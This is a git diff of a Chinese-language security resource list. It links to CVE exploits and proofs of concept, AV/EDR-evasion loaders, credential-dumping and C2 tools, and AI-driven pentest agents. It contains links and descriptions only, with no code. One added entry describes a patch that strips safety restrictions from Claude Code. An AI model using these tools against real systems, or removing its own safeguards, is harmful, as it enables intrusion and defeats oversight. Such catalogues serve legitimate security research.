[Windows-CVE-2020-0796:疑似微软SMBv3协议“蠕虫级”漏洞](https://cert.360.cn/warning/detail?id=04f6a686db24fcfa478498f55f3b79ef)|[相关讨论](https://linustechtips.com/main/topic/1163724-smbv3-remote-code-execution-cve-2020-0796/)|[CVE-2020–0796检测与修复](CVE-2020-0796检测与修复.md)|[又一个CVE-2020-0796的检测工具-可导致目标系统崩溃重启](https://github.com/eerykitty/CVE-2020-0796-PoC) +- [Windows-CVE-2020-0796:疑似微软SMBv3协议“蠕虫级”漏洞](https://cert.360.cn/warning/detail?id=04f6a686db24fcfa478498f55f3b79ef)|[相关讨论](https://linustechtips.com/main/topic/1163724-smbv3-remote-code-execution-cve-2020-0796/)|[CVE-2020–0796检测与修复](./pc/CVE-2020-0796检测与修复.md)|[又一个CVE-2020-0796的检测工具-可导致目标系统崩溃重启](https://github.com/eerykitty/CVE-2020-0796-PoC) - [WinRAR 代码执行漏洞 (CVE-2018-20250)-POC](https://github.com/Ridter/acefile)|[相关文章](https://research.checkpoint.com/2019/extracting-code-execution-from-winrar/)|[全网筛查 WinRAR 代码执行漏洞 (CVE-2018-20250)](https://xlab.tencent.com/cn/2019/02/22/investigating-winrar-code-execution-vulnerability-cve-2018-20250-at-internet-scale/) @@ -931,9 +1061,9 @@ - [【Linux提权】CVE-2021-3560 Local PrivEsc Exploit](https://github.com/swapravo/polkadots)|[CVE-2021-3560-Authentication-Agent](https://github.com/RicterZ/CVE-2021-3560-Authentication-Agent) -- [【windows提权】CVE-2021-1675 Windows Print Spooler远程代码执行漏洞](./CVE-2021-1675.md) +- [【windows提权】CVE-2021-1675 Windows Print Spooler远程代码执行漏洞](./privesc/CVE-2021-1675.md) -- [【Linux提权】CVE-2021-22555: Linux Netfilter本地权限提升漏洞](./CVE-2021-22555.md) +- [【Linux提权】CVE-2021-22555: Linux Netfilter本地权限提升漏洞](./privesc/CVE-2021-22555.md) - [【Linux提权】CVE-2021-33909:Linux kernel 本地提权漏洞](https://github.com/Liang2580/CVE-2021-33909) @@ -941,7 +1071,7 @@ - [【Linux提权】CVE-2021-3490:Linux kernel 缓冲区错误漏洞](https://github.com/chompie1337/Linux_LPE_eBPF_CVE-2021-3490) -- [【Linux 提权】CVE-2022-2602: Linux io_uring子系统UAF漏洞漏洞利用POC,可用于本地提权](https://github.com/LukeGix/CVE-2022-2602) +- [【Linux 提权】CVE-2022-2602: Linux io_uring子系统UAF漏洞漏洞利用POC,可用于本地提权](https://github.com/LukeGix/CVE-2022-2602)|[CVE-2022-2602-Kernel-Exploit:另一个io_uring UAF内核提权利用](https://github.com/kiks7/CVE-2022-2602-Kernel-Exploit) - [CVE-2021-34473:Microsoft Exchange Server Remote Code Execution](https://github.com/phamphuqui1998/CVE-2021-34473)|[proxyshell-auto:自动化的ProxyShell漏洞利用](https://github.com/Udyz/proxyshell-auto) @@ -999,7 +1129,7 @@ - [cve-2022-26809:RPC 高危漏洞](https://github.com/corelight/cve-2022-26809)|[PoC-CVE-2022-26809](https://github.com/s1ckb017/PoC-CVE-2022-26809)|[相关分析文章](https://paper.seebug.org/1906/) -- [CVE-2022-30190:Microsoft Office Word Rce ](https://github.com/bytecaps/CVE-2022-30190)|[CVE-2022-30190](https://github.com/JMousqueton/PoC-CVE-2022-30190)|[follina.py:CVE-2022-30190 检测工具](https://github.com/chvancooten/follina.py)|[CVE-2022-30190:又一个](https://github.com/onecloudemoji/CVE-2022-30190)|[CVE-2022-30190-follina-Office-MSDT-Fixed:可以自定义word模板](https://github.com/komomon/CVE-2022-30190-follina-Office-MSDT-Fixed)|[CVE-2022-30190---Follina---Poc-Exploit](https://github.com/WesyHub/CVE-2022-30190---Follina---Poc-Exploit) +- [CVE-2022-30190:Microsoft Office Word Rce](https://github.com/bytecaps/CVE-2022-30190)|[CVE-2022-30190](https://github.com/JMousqueton/PoC-CVE-2022-30190)|[follina.py:CVE-2022-30190 检测工具](https://github.com/chvancooten/follina.py)|[CVE-2022-30190:又一个](https://github.com/onecloudemoji/CVE-2022-30190)|[CVE-2022-30190-follina-Office-MSDT-Fixed:可以自定义word模板](https://github.com/komomon/CVE-2022-30190-follina-Office-MSDT-Fixed)|[CVE-2022-30190---Follina---Poc-Exploit](https://github.com/WesyHub/CVE-2022-30190---Follina---Poc-Exploit) - [【Windows 提权】CVE-2021-31956-EXP:Windows 内核堆栈溢出漏洞利用工具](https://github.com/aazhuliang/CVE-2021-31956-EXP) @@ -1045,15 +1175,32 @@ - [CVE-2023-27363: Foxit PDF Reader及Editor任意代码执行漏洞](https://github.com/j00sean/SecBugs/tree/main/CVEs/CVE-2023-27363) +- [CVE-2026-34621:Adobe Acrobat Reader 原型污染与JS注入利用链(CVE-2026-34621/34622/34626),可实现沙箱内特权JS执行及本地文件读取外带](https://github.com/azefzafyoussef/CVE-2026-34621) + - [keepass-password-dumper: CVE-2023-32784 KeePass 信息泄露漏洞](https://github.com/vdohney/keepass-password-dumper) - [百度网盘(7.59.5.104) Windows客户端存在命令注入漏洞](https://mrxn.net/news/baidupan-windows-client-rce.html) +- [【Linux提权】CVE-2026-31431:Copy Fail Linux内核页缓存权限提升漏洞(影响2017年后几乎所有发行版)](https://github.com/theori-io/copy-fail-CVE-2026-31431) | [Copy-Fail-CVE-2026-31431-Kubernetes-PoC](https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kubernetes-PoC) + +- [【Linux提权】CVE-2026-43284/CVE-2026-43500:Dirty Frag Linux内核页缓存写漏洞](https://github.com/Percivalll/Dirty-Frag-Kubernetes-PoC)|[dirty-frag-check:漏洞检测工具](https://github.com/haydenjames/dirty-frag-check) + +- [【Linux提权】CVE-2026-46300:Fragnesia Linux内核提权漏洞](https://github.com/Sentebale/CVE-2026-46300)|[另一个CVE-2026-46300利用](https://github.com/0xBlackash/CVE-2026-46300) + ## tools-小工具集版本合 +- [RAPTOR(递归自主渗透测试与观测机器人):基于 Claude Code 的自主攻防安全研究框架,可自动完成代码攻击面分析、Semgrep/CodeQL 漏洞扫描、AFL 模糊测试、漏洞分析与 PoC 生成、自动补丁修复及结构化报告输出的全流程渗透测试](https://github.com/gadievron/raptor) +- [LuaN1aoAgent(鸾鸟Agent):大模型驱动、认知驱动的 AI 渗透测试智能体(AI Hacker),具备自主规划、工具编排和因果推理能力,采用 P-E-R(Planner-Executor-Reflector)协同框架和双图推理架构](https://github.com/SanMuzZzZz/LuaN1aoAgent) +- [Darkmoon(暗月):开源自主式 AI 渗透测试平台,通过 Markdown 剧本与智能体推理编排 80 多种攻击工具,基于 MCP 控制执行,覆盖 Web、云、Active Directory、Kubernetes、API 与内网渗透,并为每个发现提供证据链,模型无关且针对 Claude Opus 优化](https://github.com/ASCIT31/Dark-Moon) +- [Pentest-Swarm-AI:基于多智能体协作的自动化渗透测试框架](https://github.com/Armur-Ai/Pentest-Swarm-AI) +- [BreachWeave:基于多智能体(Manager/Solver/Observer)协同架构的智能化渗透测试与漏洞挖掘平台](https://github.com/m-sec-org/BreachWeave) +- [anything-analyzer:全场景抓包 + AI 自动分析工具,支持网页/桌面应用/终端/脚本/手机/IoT 等所有来源流量统一汇入同一 Session,一键生成协议逆向/安全审计/JS 加密逆向报告,并内置 MCP Server 可被 Claude Desktop、Cursor 等直接调用](https://github.com/Mouseww/anything-analyzer) +- [nano-analyzer:基于 LLM 的轻量级零日漏洞扫描器,通过三阶段 AI 流水线(上下文生成→漏洞扫描→怀疑性分类)对源代码进行安全审计](https://github.com/weareaisle/nano-analyzer) +- [Anthropic-Cybersecurity-Skills:面向 AI 智能体与安全从业者的结构化网络安全技能库,包含 754 个生产级安全技能,映射 MITRE ATT&CK、NIST CSF 2.0 等安全框架,兼容 Claude Code、GitHub Copilot、Cursor 等 20 多种 AI 平台](https://github.com/mukul975/Anthropic-Cybersecurity-Skills) +- [Payloader:中英双语的交互式安全载荷参考平台,涵盖 Web 应用安全与内网渗透,包含 300+ 条精心编排的攻防载荷、攻击链可视化、工具命令集(Nmap/SQLMap/Burp/Metasploit)和编解码工具](https://github.com/3516634930/Payloader) - [java环境下任意文件下载情况自动化读取源码的小工具](https://github.com/Artemis1029/Java_xmlhack) - [Linux SSH登录日志清除/伪造](./tools/ssh) - [python2的socks代理](./tools/s5.py) @@ -1083,9 +1230,11 @@ - [sqlmap_bypass_空格替换成换行符-某企业建站程序过滤_tamper](./tools/sqlmap_bypass_空格替换成换行符-某企业建站程序过滤_tamper.py) - [sqlmap_bypass_云锁_tamper](./tools/sqlmap_bypass_云锁_tamper.py) - [sqlmap bypass云锁tamper(利用云锁的注释不拦截缺陷,来自t00ls师傅)](https://github.com/Hsly-Alexsel/Bypass)-[t00ls原文地址](https://www.t00ls.net/thread-57788-1-1.html)|[项目留存PDF版本](./books/10种方法绕过云锁以及tamper.pdf) +- [ByPassTamperPlus:针对SQLMap开发的加强版Tamper脚本集合,通过利用特定数据库版本特性和高级混淆技术绕过现代WAF防护,支持MSSQL、MySQL和Oracle](https://github.com/Tas9er/ByPassTamperPlus) - [masscan+nmap扫描脚本](./tools/masscan%2Bnmap.py) - [PHP解密扩展](https://github.com/Albert-Zhan/php-decrypt) - [linux信息收集/应急响应/常见后门检测脚本](https://github.com/al0ne/LinuxCheck) +- [ProcIR-Windows 应急响应进程排查工具,面向安全工程师的一键式应急响应工具,快速定位木马、后门、持久化、白加黑、内存注入等威胁](https://github.com/dogadmin/ProcIR) - [RdpThief-从远程桌面客户端提取明文凭据辅助工具](https://github.com/0x09AL/RdpThief) - [使用powershell或CMD直接运行命令反弹shell](https://github.com/ZHacker13/ReverseTCPShell) - [GitHack-.git泄露利用脚本](https://github.com/lijiejie/GitHack) @@ -1105,7 +1254,7 @@ - [内网常见渗透工具包](https://github.com/yuxiaokui/Intranet-Penetration) - [从内存中加载 SHELLCODE bypass AV查杀](https://github.com/brimstone/go-shellcode)|[twitter示例](https://twitter.com/jas502n/status/1213847002947051521) - [流量转发工具-pingtunnel是把tcp/udp/sock5流量伪装成icmp流量进行转发的工具](https://github.com/esrrhs/pingtunnel) -- [内网渗透-创建Windows用户(当net net1 等常见命令被过滤时,一个文件执行直接添加一个管理员【需要shell具有管理员权限l】](https://github.com/newsoft/adduser)|[adduser使用方法](./adduser添加用户.md) |[【windows】绕过杀软添加管理员用户的两种方法](https://github.com/lengjibo/RedTeamTools/tree/master/windows/bypass360%E5%8A%A0%E7%94%A8%E6%88%B7)|[【windows】使用vbs脚本添加管理员用户](./使用vbs脚本添加管理员用户.md) +- [内网渗透-创建Windows用户(当net net1 等常见命令被过滤时,一个文件执行直接添加一个管理员【需要shell具有管理员权限l】](https://github.com/newsoft/adduser)|[adduser使用方法](./privesc/adduser添加用户.md) |[【windows】绕过杀软添加管理员用户的两种方法](https://github.com/lengjibo/RedTeamTools/tree/master/windows/bypass360%E5%8A%A0%E7%94%A8%E6%88%B7)|[【windows】使用vbs脚本添加管理员用户](./privesc/使用vbs脚本添加管理员用户.md) - [NetUser-使用windows api添加用户,可用于net无法使用时(支持Nim版本)](https://github.com/lengjibo/NetUser) - [pypykatz-通过python3实现完整的Mimikatz功能(python3.6+)](https://github.com/skelsec/pypykatz) - [【windows】Bypassing AV via in-memory PE execution-通过在内存中加载多次XOR后的payload来bypass杀软](https://blog.dylan.codes/bypassing-av-via/)|[作者自建gitlab地址](https://git.dylan.codes/batman/darkarmour) @@ -1132,7 +1281,7 @@ - [SharpToolsAggressor-内网渗透中常用的c#程序整合成cs脚本,直接内存加载](https://github.com/uknowsec/SharpToolsAggressor) - [【漏洞库】又一个各种漏洞poc、Exp的收集或编写](https://github.com/coffeehb/Some-PoC-oR-ExP) - [【内网代理】内网渗透代理转发利器reGeorg](https://github.com/sensepost/reGeorg)|相关文章:[配置reGeorg+Proxifier渗透内网](https://www.k0rz3n.com/2018/07/06/如何使用reGeorg+Proxifier渗透内网)|[reGeorg+Proxifier实现内网sock5代理](http://jean.ink/2018/04/26/reGeorg/)|[内网渗透之reGeorg+Proxifier](https://sky666sec.github.io/2017/12/16/内网渗透之reGeorg-Proxifier)|[reGeorg+Proxifier使用](https://xz.aliyun.com/t/228) -- [【内网代理】Neo-reGeorg重构的reGeorg ](https://github.com/L-codes/Neo-reGeorg) +- [【内网代理】Neo-reGeorg重构的reGeorg](https://github.com/L-codes/Neo-reGeorg) - [【内网代理】Tunna-通过http隧道将TCP流量代理出来](https://github.com/SECFORCE/Tunna) - [【内网代理】proxy.php-单文件版的php代理](https://github.com/mcnemesis/proxy.php) - [【内网代理】pivotnacci-通过HTTP隧道将TCP流量代理出来或进去](https://github.com/blackarrowsec/pivotnacci) @@ -1175,7 +1324,7 @@ - [【Android 移动app渗透】之一键提取APP敏感信息](https://github.com/TheKingOfDuck/ApkAnalyser) - [【android 移动app渗透】apkleaks-扫描APK文件提取URL、终端和secret](https://github.com/dwisiswant0/apkleaks) - [ShiroExploit-Deprecated-Shiro系列漏洞检测GUI版本-ShiroExploit GUI版本](https://github.com/feihong-cs/ShiroExploit-Deprecated) -- [通过phpinfo获取cookie突破httponly](./通过phpinfo获取cookie突破httponly.md) +- [通过phpinfo获取cookie突破httponly](./web/通过phpinfo获取cookie突破httponly.md) - [phpstudy RCE 利用工具 windows GUI版本](https://github.com/aimorc/phpstudyrce) - [WebAliveScan-根据端口快速扫描存活的WEB](https://github.com/broken5/WebAliveScan) - [bscan-bscan的是一款强大、简单、实用、高效的HTTP扫描器。(WebAliveScan的升级版本)](https://github.com/broken5/bscan) @@ -1442,7 +1591,7 @@ - [sharpwmi:一个基于rpc的横向移动工具,具有上传文件和执行命令功能](https://github.com/QAX-A-Team/sharpwmi) - [RedWarden:灵活的配置C2反向代理来隐藏自己的CS](https://github.com/mgeeky/RedWarden) - [MemoryShellLearn:java内存马的学习记录以及demo](https://github.com/bitterzzZZ/MemoryShellLearn) -- [图形化漏洞利用Demo-JavaFX版:ExpDemo-JavaFX ](https://github.com/yhy0/ExpDemo-JavaFX) +- [图形化漏洞利用Demo-JavaFX版:ExpDemo-JavaFX](https://github.com/yhy0/ExpDemo-JavaFX) - [Security_Product:开源安全产品源码](https://github.com/birdhan/Security_Product) - [flask_memory_shell:Flask 内存马](https://github.com/iceyhexman/flask_memory_shell) - [SourceDetector:用于发现源码文件(*.map)的chrome插件](https://github.com/SunHuawei/SourceDetector) @@ -1526,7 +1675,7 @@ - [EXOCET-AV-Evasion:可绕过杀软的 Payload 投递工具](https://github.com/tanc7/EXOCET-AV-Evasion) - [DNSlog-GO:DNSLog-GO 是一款golang编写的监控 DNS 解析记录的工具,自带WEB界面](https://github.com/lanyi1998/DNSlog-GO) - [SCFProxy:一个利用腾讯云函数服务做 HTTP 代理、SOCKS5 代理、反弹 shell、C2 域名隐藏的工具](https://github.com/shimmeris/SCFProxy) -- [firezone:通过 web 界面来管理 wireguard ](https://github.com/firezone/firezone) +- [firezone:通过 web 界面来管理 wireguard](https://github.com/firezone/firezone) - [Atlas:帮助你快速筛选测试能够绕过 waf 的 sqlmap tamper](https://github.com/m4ll0k/Atlas) - [cobaltstrike-bof-toolset:在cobaltstrike中使用的bof工具集,收集整理验证好用的bof](https://github.com/AttackTeamFamily/cobaltstrike-bof-toolset) - [domainNamePredictor:一个简单的现代化公司域名使用规律预测及生成工具](https://github.com/LandGrey/domainNamePredictor) @@ -1565,7 +1714,7 @@ - [Sec-Tools:一款基于Python-Django的多功能Web安全渗透测试工具,包含漏洞扫描,端口扫描,指纹识别,目录扫描,旁站扫描,域名扫描等功能](https://github.com/jwt1399/Sec-Tools) - [Fvuln:漏洞批量扫描集合工具(闭源)](https://github.com/d3ckx1/Fvuln) - [MySQL_Fake_Server:用于渗透测试过程中的假MySQL服务器,纯原生python3实现,不依赖其它包](https://github.com/fnmsd/MySQL_Fake_Server) -- [ysomap:一款适配于各类实际复杂环境的Java反序列化利用框架,可动态配置具备不同执行效果的Java反序列化利用链payload,以应对不同场景下的反序列化利用](https://github.com/wh1t3p1g/ysomap) +- [ysomap:一款适配于各类实际复杂环境的Java反序列化利用框架,可动态配置具备不同执行效果的Java反序列化利用链payload,以应对不同场景下的反序列化利用](https://github.com/wh1t3p1g/ysomap)|[ysogate:Java反序列化利用工具,集成多种利用链和绕过方式](https://github.com/H4cking2theGate/ysogate) - [CobaltStrike_CNA:使用多种WinAPI进行权限维持的CobaltStrike脚本,包含API设置系统服务,设置计划任务,管理用户等(CVE-2020-0796+CVE-2020-0787)](https://github.com/yanghaoi/CobaltStrike_CNA) - [webshell-bypassed-human:过人 webshell 的生成工具](https://github.com/Macr0phag3/webshell-bypassed-human) - [BlueShell:一个Go语言编写的持续远控工具,拿下靶机后,根据操作系统版本下载部署对应的bsClient,其会每隔固定时间向指定的C&C地址发起反弹连接尝试,在C&C端运行bsServer即可连接bsClient,从而实现对靶机的持续控制](https://github.com/whitehatnote/BlueShell) @@ -1669,6 +1818,7 @@ - [AgentInjectTool:改造BeichenDream/InjectJDBC加入shiro获取key和修改key功能](https://github.com/SummerSec/AgentInjectTool) - [ByPassBehinder4J:冰蝎Java WebShell免杀生成](https://github.com/Tas9er/ByPassBehinder4J) - [ecapture:通过 hook ebpf 技术,无需CA证书,进行HTTPS的明文通讯抓包、bash 命令捕获和 MySQL query 等数据库审计](https://github.com/ehids/ecapture) +- [Wireshark-MCP:基于 MCP Server 将 tshark 转化为结构化分析接口,让 AI 助手直接分析 pcap 数据包文件,支持 Claude Desktop、Cursor 等 MCP 兼容客户端](https://github.com/bx33661/Wireshark-MCP) - [udpme:从协议层面借助 EDNS0 过滤掉有问题的 UDP 报文](https://github.com/IrineSistiana/udpme) - [FirmWire:支持三星和联发科的全系统基带固件分析平台](https://github.com/FirmWire/FirmWire) - [apache-afl:使用 AFL++ 对 Apache httpd 进行 Fuzz 的自动化配置](https://github.com/0xbigshaq/apache-afl) @@ -1692,6 +1842,7 @@ - [tetanus:用 rust 开发的一款针对 Windows 和Linux 的 C2 工具](https://github.com/MythicAgents/tetanus) - [mortar:可有效规避安全产品的检测 shellcode 加载器](https://github.com/0xsp-SRD/mortar) - [go-mitmproxy:用 Golang 实现的中间人攻击,解析、监测、篡改 HTTP/HTTPS 流量](https://github.com/lqqyt2423/go-mitmproxy) +- [Rockxy:macOS 开源 HTTP 调试代理工具,支持拦截 HTTP/HTTPS 流量、检查 API 请求、调试 WebSocket 连接及分析 GraphQL 查询,基于 Swift/SwiftNIO 构建](https://github.com/LocNguyenHuu/Rockxy) - [dll_inject_vs_binaries:将 dll 注入指定进程](https://github.com/mrd0x/dll_inject_vs_binaries) - [go4Hacker:golang 编写支持 DNSLOG、HTTPLOG、Rebinding和多用户的工具,支持 docker 一键部署](https://github.com/hktalent/go4Hacker) - [GetMail:利用NTLM Hash读取Exchange邮件](https://github.com/b0bac/GetMail) @@ -1822,6 +1973,7 @@ - [python-shellcode-loader:python免杀shellcode加载器 加密混淆](https://github.com/HZzz2/python-shellcode-loader) - [go-shellcode-loader:GO免杀shellcode加载器混淆AES加密](https://github.com/HZzz2/go-shellcode-loader) - [ThinkphpGUI:Thinkphp(GUI)漏洞利用工具,支持各版本TP漏洞检测,命令执行,getshell和日志泄露检查](https://github.com/Lotus6/ThinkphpGUI) +- [ThinkPHPGUI:使用JavaFX编写的ThinkPHP的GUI漏洞检测利用工具](https://github.com/AgonySec/ThinkPHPGUI) - [webprobe:一款快速探测web存活并获取title的工具](https://github.com/damit5/webprobe) - [CHAOS:开源远控管理工具](https://github.com/tiagorlampert/CHAOS) - [gitdorks_go:一款在github上发现敏感信息的自动化收集工具](https://github.com/damit5/gitdorks_go) @@ -1877,6 +2029,7 @@ - [bypassuac](https://github.com/liuxigu/bypassuac) - [ActuatorExploit:SpringBoot Actuator未授权自动化利用,支持信息泄漏/RCE](https://github.com/LFYSec/ActuatorExploit) - [SharpMapExec:CrackMapExec的C#实现版本](https://github.com/cube0x0/SharpMapExec)|[CrackMapExec:一款针对大型Windows活动目录(AD)的后渗透工具](https://github.com/byt3bl33d3r/CrackMapExec) +- [adscan:一款专为 Linux 设计的 Active Directory (AD) 自动化内网渗透与攻击路径映射工具,支持全自动化 AD 枚举、Kerberoasting/AS-REP Roasting、ADCS 漏洞利用等多阶段攻击工作流](https://github.com/ADScanPro/adscan) - [MiniDump:用C# 实现的dump lsass 进程工具](https://github.com/cube0x0/MiniDump) - [KrbRelay:Kerberos中继框架](https://github.com/cube0x0/KrbRelay) - [CurveBall:CVE-2020-0601 ECC证书欺骗漏洞利用工具](https://github.com/ly4k/CurveBall) @@ -1942,6 +2095,7 @@ - [wsMemShell:一种全新的内存马](https://github.com/veo/wsMemShell) - [WeblogicExploit-GUI:Weblogic漏洞利用图形化工具 支持注入内存马、一键上传webshell、命令执行](https://github.com/sp4zcmd/WeblogicExploit-GUI) - [BOF-RegSave:使用BOF转储 SAM / SECURITY / SYSTEM 注册表配置单元](https://github.com/EncodeGroup/BOF-RegSave) +- [BlueSAM:BlueHammer 的 Cobalt Strike BOF 移植版,通过 Windows Defender 更新/VSS 行为获取 SAM 数据库副本并在 Beacon 中离线解析注册表](https://github.com/incursi0n/BlueSAM) - [SharpToken:.NET版本的incognito,具有以下功能:枚举Token、从指定进程枚举Token、获得交互式shell、获取命令执行结果(webshell下执行)](https://github.com/BeichenDream/SharpToken) - [qsocks:基于 quic 的 socks5代理工具](https://github.com/net-byte/qsocks) - [CallStackSpoofer:用于在进行系统调用时欺骗任意调用堆栈的 PoC 实现(例如,通过 NtOpenProcess 获取句柄)](https://github.com/countercept/CallStackSpoofer) @@ -2064,14 +2218,14 @@ - [rustfuzz:rust 编写的基本 web fuzz 工具](https://github.com/d4rckh/rustfuzz) - [geacon:修改自geacon的多功能linux运维管理工具](https://github.com/TheKingOfDuck/geacon) - [Direct-NtCreateUserProcess](https://github.com/D0pam1ne705/Direct-NtCreateUserProcess) -- [SuperRDP:修复某些版本Windows 不支持 RDP ](https://github.com/anhkgg/SuperRDP) +- [SuperRDP:修复某些版本Windows 不支持 RDP](https://github.com/anhkgg/SuperRDP) - [InjectDllTool:多功能DLL注入工具:远程线程注入、消息钩子注入、输入法注入、APC注入、EIP注入、注册表注入](https://github.com/MountCloud/InjectDllTool) - [Cobalt_Strike_Bot:CobaltStrike上线通知,飞书群聊机器人、server酱通知](https://github.com/r1is/Cobalt_Strike_Bot) - [Cobalt-Strike:常用 CS 脚本](https://github.com/Mikasazero/Cobalt-Strike) - [SharpBypassUAC](https://github.com/FatRodzianko/SharpBypassUAC) - [htpwdScan:HTTP暴力破解、撞库测试工具](https://github.com/lijiejie/htpwdScan) - [SQLiDetector:Python 编写的用于检查 SQL 回显注入漏洞的工具](https://github.com/eslam3kl/SQLiDetector) -- [Logsensor:用于发现登录面板和 POST 表单的 SQLi ](https://github.com/Mr-Robert0/Logsensor) +- [Logsensor:用于发现登录面板和 POST 表单的 SQLi](https://github.com/Mr-Robert0/Logsensor) - [rfas:让FRP以Windows服务运行](https://github.com/pphuahua/rfas) - [goby-poc:439个goby poc,可能会有重复自行判断,来源于网络收集的Goby&POC,实时更新](https://github.com/MY0723/goby-poc) - [PrivilegeHelper:cs维权插件](https://github.com/fdbao/PrivilegeHelper) @@ -2126,6 +2280,7 @@ - [go-memorydll:内存 dll 的 go 包装器](https://github.com/nkbai/go-memorydll) - [SQLJam:一个探索数据库查询新方法的 jam 项目](https://github.com/bvisness/SQLJam) - [Webpackfind:类似Packer-Fuzzer的Webpack自动化信息收集工具](https://github.com/xz-zone/Webpackfind) +- [Webpack_extract:自动化收集js、自动化加载js、自动化分析js的Chrome插件](https://github.com/xz-zone/Webpack_extract) - [estk:查询和备份各种 Elasticsearch 和 Kibana 版本的数据工具](https://github.com/LeakIX/estk) - [webcgi-exploits:多语言 Web CGI 接口漏洞利用](https://github.com/wofeiwo/webcgi-exploits) - [TripleCross:A Linux eBPF rootkit with a backdoor](https://github.com/h3xduck/TripleCross) @@ -2181,7 +2336,7 @@ - [FilelessPELoader: 在内存中加载远程AES加密过的PE文件并解密运行](https://github.com/TheD1rkMtr/FilelessPELoader) - [DarkAngel:一款全自动白帽漏洞扫描器,从hackerone、bugcrowd资产监听到漏洞报告生成、企业微信通知](https://github.com/Bywalks/DarkAngel) - [boopkit:Linux eBPF backdoor over TCP](https://github.com/krisnova/boopkit) -- [EDR-Bypass-demo:Some demos to bypass EDRs or AVs ](https://github.com/7BitsTeam/EDR-Bypass-demo) +- [EDR-Bypass-demo:Some demos to bypass EDRs or AVs](https://github.com/7BitsTeam/EDR-Bypass-demo) - [seeyonExp:致远命令执行漏洞系列的GUI利用工具](https://github.com/kai1025/seeyonExp) - [vapi:API漏洞练习靶场](https://github.com/roottusk/vapi) - [APIKiller:API漏洞扫描、检测工具](https://github.com/Aur0ra-m/APIKiller) @@ -2190,6 +2345,7 @@ - [IDOR_detect_tool:一款API水平越权漏洞检测工具](https://github.com/y1nglamore/IDOR_detect_tool) - [URLFinder:类似JSFinder的golang实现,一款用于快速提取检测页面中JS与URL的工具,更快更全更舒服](https://github.com/pingc0y/URLFinder) - [go_proxy_pool:无环境依赖开箱即用的代理IP池](https://github.com/pingc0y/go_proxy_pool) +- [zenproxy:代理池管理与转发服务,支持代理订阅管理、质量检测与多IP并发出口](https://github.com/streetartist/zenproxy) - [SmallProxyPool:一个免费高质量的小代理池(从fofa搜索开放socks5代理)](https://github.com/Ggasdfg321/SmallProxyPool) - [NucleiTP:自动整合全网Nuclei的漏洞POC,实时同步更新最新POC](https://github.com/ExpLangcn/NucleiTP) - [Amsi-Killer:Lifetime AMSI bypass-终极AMSI bypass](https://github.com/ZeroMemoryEx/Amsi-Killer) @@ -2233,11 +2389,12 @@ - [RpcsDemo: 利用RPC协议在内网中的一些攻击面{DumpLsass,AddUser,ChangeNtlm,TSCH_DESK,OXIDINterka_network_card,CreateService等}](https://github.com/M0nster3/RpcsDemo) - [WeblogicTool: WeblogicTool,GUI漏洞利用工具,支持漏洞检测、命令执行、内存马注入、密码解密等](https://github.com/KimJun1010/WeblogicTool) - [BaRMIe: Java RMI enumeration and attack tool.](https://github.com/NickstaDB/BaRMIe) -- [fpp: fpp (free proxy pool) 基于Golang的开箱即用跨平台的免费代理池,IP代理池,HTTP代理池。 ](https://github.com/HaliComing/fpp) +- [fpp: fpp (free proxy pool) 基于Golang的开箱即用跨平台的免费代理池,IP代理池,HTTP代理池。](https://github.com/HaliComing/fpp) - [NoMoney: 一款集成了fofa,zoomeye(钟馗之眼),censys,奇安信的鹰图平台,360quake,且完全免费的信息收集工具](https://github.com/H-Limbus/NoMoney) - [scrying: A tool for collecting RDP, web and VNC screenshots all in one place](https://github.com/nccgroup/scrying) - [noterce: 一种另辟蹊径的免杀执行系统命令的木马](https://github.com/xiao-zhu-zhu/noterce) - [SysWhispers3WinHttp: 基于SysWhispers3项目增添WinHttp分离加载功能,可免杀绕过360核晶与Defender](https://github.com/huaigu4ng/SysWhispers3WinHttp) +- [SysWhispers4: AV/EDR evasion via direct and indirect system calls,通过直接/间接系统调用绕过AV/EDR对ntdll.dll的用户态钩子,支持 Windows NT 3.1 - Windows 11 24H2,x64/x86/WoW64/ARM64](https://github.com/JoasASantos/SysWhispers4) - [MisConfig_HTTP_Proxy_Scanner: 扫描错误的nginx反代和转发配置,已发现内网资产(类似hosts碰撞)](https://github.com/lijiejie/MisConfig_HTTP_Proxy_Scanner) - [UserRegEnum_0x727: 域内普通域用户权限查找域内所有计算机上登录的用户](https://github.com/0x727/UserRegEnum_0x727) - [fuzzuli: 基于域名的关键备份文件扫描工具](https://github.com/musana/fuzzuli) @@ -2277,8 +2434,9 @@ - [chunsou: (春蒐)Python3编写的多线程Web指纹识别工具,适用于安全测试人员前期的资产识别、风险收敛以及企业互联网资产风险摸查](https://github.com/Funsiooo/chunsou) - [java-gate: 通过简单的 `Java` 代码实现 `Hell's Gate` 相关技术(直接的系统调用)](https://github.com/4ra1n/java-gate) - [WIKI-POC: 漏洞库【OA以及各种web APP漏洞】](https://github.com/7estUser/WIKI-POC) -- [FineReportExploit: 基于go语言的帆软报表漏洞检测工具](https://github.com/Drac0nids/FineReportExploit) +- [FineReportExploit (Go): 基于go语言的帆软报表漏洞检测工具](https://github.com/Drac0nids/FineReportExploit)|[FineReportExploit (Python): 帆软漏洞批量检测脚本](https://github.com/Drun1baby/FineReportExploit) - [SSRFmap: 自动化SSRF漏洞探测](https://github.com/swisskyrepo/SSRFmap) +- [nextssrf:CVE-2026-44578 Next.js WebSocket Upgrade Handler SSRF 扫描与利用工具,支持AWS/Azure/GCP云凭据提取、批量扫描及交互式利用Shell](https://github.com/ynsmroztas/nextssrf) - [qq-tim-elevation: 腾讯 QQ/TIM本地提权漏洞](https://github.com/vi3t1/qq-tim-elevation) - [VolatilityPro: 一款用于自动化处理内存取证的Python脚本,并提供GUI界面](https://github.com/Tokeii0/VolatilityPro) - [NimExec: 在Nim中执行横向移动的无文件命令](https://github.com/frkngksl/NimExec) @@ -2296,6 +2454,19 @@ - [ehr_SafeCodeEncode_tamper:宏景ehr sql注入的tamper脚本](https://github.com/jdr2021/ehr_SafeCodeEncode_tamper) - [Struts2VulsScanTools:Struts2全版本漏洞检测工具 19.21](https://github.com/abc123info/Struts2VulsScanTools) - [CVE-2025-14847 - MongoDB 未经身份验证的内存泄漏漏洞检测工具](https://github.com/joe-desimone/mongobleed) +- [trajan:CI/CD流水线安全漏洞扫描工具,支持GitHub Actions、GitLab CI、Azure DevOps、Jenkins和JFrog,用于检测软件供应链攻击](https://github.com/praetorian-inc/trajan) +- [clawgod: Claude Code的"上帝模式"补丁工具,解锁隐藏功能、移除安全限制(含渗透测试/C2/漏洞利用限制),一键安装,无需编译](https://github.com/0Chencc/clawgod) +- [kslkatz_bof:通过 Cobalt Strike BOF 实现 Mimikatz 